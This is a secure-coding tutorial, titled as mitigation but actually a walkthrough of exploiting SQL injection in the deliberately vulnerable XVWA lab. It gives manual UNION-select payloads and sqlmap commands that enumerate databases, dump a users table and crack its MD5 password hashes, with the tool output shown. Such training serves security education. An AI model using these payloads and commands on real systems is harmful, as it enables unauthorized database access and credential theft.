Secure coding

How to mitigate SQL Injection Vulnerabilities

Introduction:

In the previous articles, we discussed what SQL Injection vulnerabilities are and what causes SQL Injection vulnerabilities. This article provides an overview of how SQL injection vulnerabilities can be identified and exploited. We will discuss both manual techniques as well as automated tools to identify and exploit SQL injection vulnerabilities. 

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Learn More

Finding SQL Injection in web applications:

As mentioned in earlier articles, SQL Injection occurs when the web application interacts with the database and uses user supplied input to dynamically construct SQL Queries without sufficient validation.  In the next few sections, let us discuss how SQL Injection vulnerabilities can be discovered and exploited.

Let us use Xtreme Vulnerable Web Application (XVWA) and navigate to SQL Injection. You can also access this challenge directly using the following URL.

http://<ipaddress>/xvwa/vulnerabilities/sqli/

 

A user can search for items by selecting the Item Code or by entering some text into the Search field. Let us check if the Search field is vulnerable to SQL Injection. 

Let us enter a single quote in the Search field and observe the response. 

As we can notice, there is an SQL error. This error has occurred since the single quote is appended to the existing SQL Query written in the web app and it is left unclosed. It may look as follows.

select * from caffaine where itemid = ‘;

 

Now, let us enter two single quotes and observe the response.

As we can notice, there is no SQL error this time. We have supplied two single quotes and they are possibly appended to the existing SQL Query. However, the query is not left unclosed since we passed two quotes. This may look as follows.

select * from caffaine where itemid = ‘’;

 

While this confirms the SQL injection vulnerability, just to be 100% sure, we can supply three single quotes in the search field, which should cause an error once again.

Next, one can simply pass custom SQL queries after the single quote and execute arbitrary queries. A common approach is to write a UNION statement so that we can pass SELECT queries. This requires the total number of columns in the existing query being used by the vulnerable feature of the web application. 

One way to find out the number of columns is to use an order by statement. In XVWA, we can observe that statements from order by 8 throw the following error, but anything from order by 1 to order by 7 does not throw any errors. This confirms that there are 7 columns in the query.

Now, we can make use of this knowledge to write SELECT statements as shown below. Since, we know that there are 7 columns in the existing query, our select statement also includes 7 columns as shown below.

1’ union select 1,2,3,4,5,6,7#

 

Running this query will display some of the numbers used in our query, which in turn can be used later to extract information from the database. Following is the response.

As we can notice there are some columns being displayed on the web page. Let us use column 5 to display information from the database. The following input will fetch the database name being used.

1’ union select 1,2,3,4,database(),6,7#

 

The response looks as follows.

As we can notice, we could display the database name.  Similarly, the following input will fetch the list of tables from the database.

1' union select 1,2,3,4,table_name,6,7 from information_schema.tables#

 

The output looks as follows.

As you might have noticed, manually extracting data using SQL Injection can be time consuming at times and it can become extremely difficult when it comes to Blind SQL Injection. This is where we can rely on automated tools that can speed up the exploitation process. 

Learn Secure Coding Fundamentals

Build your secure coding skills as you progress through 14 courses focused on discovering, exploiting and mitigating common coding vulnerabilities.

Start Learning

Automated exploitation using sqlmap:

Now, let us discuss how we can use sqlmap to automate SQL Injection detection and exploitation. 

According to sqlmap’s GitHub page, “sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.”

Access the following URL.

http://<ipaddress>/xvwa/vulnerabilities/sqli/

 

We should see the following page. 

At this point, configure the browser to send all the traffic through a proxy tool like BurpSuite and enter  some value into the search field and click Submit.

We should notice the following request in Burp.

POST /xvwa/vulnerabilities/sqli/ HTTP/1.1

Host: 192.168.1.70

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

Origin: http://192.168.1.70

Connection: close

Referer: http://192.168.1.70/xvwa/vulnerabilities/sqli/

Cookie: PHPSESSID=1gjfm99oiit640ntcg3uu6v7i6

Upgrade-Insecure-Requests: 1

item=&search=1

 

Save this request to a file. In this case, it is saved as sqli.txt

Sqlmap comes preinstalled with Kali Linux. We are going to use sqlmap from within Kali Linux in this section.

Launch a new terminal and run the following.

root@kali:~# sqlmap -r sqli.txt -p search --dbms=mysql --dbs

 

The preceding command launches sqlmap and takes sqli.txt as input. We are using -p for specifying that search is the place where sqlmap should inject its payloads. --dbs is the flag that tells sqlmap to get the databases available.

After running the command, you should see the following window.

[10:38:46] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

 

As we can notice, sqlmap found that parameter search is vulnerable. Let’s enter N so that it doesn’t check other parameters. SQLMAP continues to run and finds available databases as shown in the following excerpt.

available databases [4]:

[*] information_schema

[*] mysql

[*] performance_schema

[*] xvwa

 

xvwa database looks interesting. So let’s choose xvwa database and find tables from it using the following command.

root@kali:~# sqlmap -r sqli.txt -p search --dbms=mysql -D xvwa --tables

 

After running the preceding command, we should be able to see the following table names from the database xvwa.

Database: xvwa

[3 tables]

+----------+

| comments |

| caffaine |

| users    |

+----------+

 

From the previous step, we can see that we got three tables. Let us extract the column names from the table users. Let us run the following command.

root@kali:~# sqlmap -r sqli.txt -p search --dbms=mysql -D xvwa -T users --columns

 

The preceding command will fetch all the column names from the table users.

Database: xvwa

Table: users

[3 columns]

+----------+-------------+

| Column   | Type        |

+----------+-------------+

| password | varchar(50) |

| uid      | int(11)     |

| username | varchar(20) |

+----------+-------------+

 

As we can notice, we got three different columns. 

Finally, we need to dump all the data from the table users. We can do it using the following command.

root@kali:~# sqlmap -r sqli.txt -p search --dbms=mysql -D xvwa -T users --columns --dump

 

The preceding command dumps all the data from the table users. We can explicitly mention the column names if we want to extract data only from some specific columns.

If sqlmap finds that the passwords are in hashed format, it will prompt the user and attempt to crack them as follows.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N

do you want to crack them via a dictionary-based attack? [Y/n/q] Y

[10:46:23] [INFO] using hash method 'md5_generic_passwd'

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[10:46:29] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] N

[10:46:33] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[10:46:33] [WARNING] multiprocessing hash cracking is currently not supported on this platform

[10:46:37] [INFO] cracked password 'admin' for user 'admin'  

 

The following excerpt shows that the hashes are cracked and clear text passwords are shown alongside their hashes.

Database: xvwa                                                                                                                                                                

Table: users

[3 entries]

+-----+----------+-----------------------------------------------+

| uid | username | password                                      |

+-----+----------+-----------------------------------------------+

| 1   | admin    | 21232f297a57a5a743894a0e4a801fc3 (admin)      |

| 2   | xvwa     | 570992ec4b5ad7a313f5dc8fd0825395 (xvwa)       |

| 3   | user     | 25890deab1075e916c06b9e1efc2e25f (vulnerable) |

+-----+----------+-----------------------------------------------+

 

Blind SQL Injection vulnerabilities can also be exploited in a similar fashion. Sqlmap comes with several options and the commands can be tweaked if necessary.

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Learn More

Conclusion:

It is evident that SQL Injection vulnerabilities can be very dangerous as they will allow an attacker to dump information from the database. As we have seen, exploiting SQL Injection vulnerabilities is very easy and there are even automated tools available to ease the exploitation process. 

 

Sources:

1. https://owasp.org/www-community/attacks/SQL_Injection
2. https://portswigger.net/web-security/sql-injection
3. https://owasp.org/www-project-top-ten/2017/A1_2017-Injection.html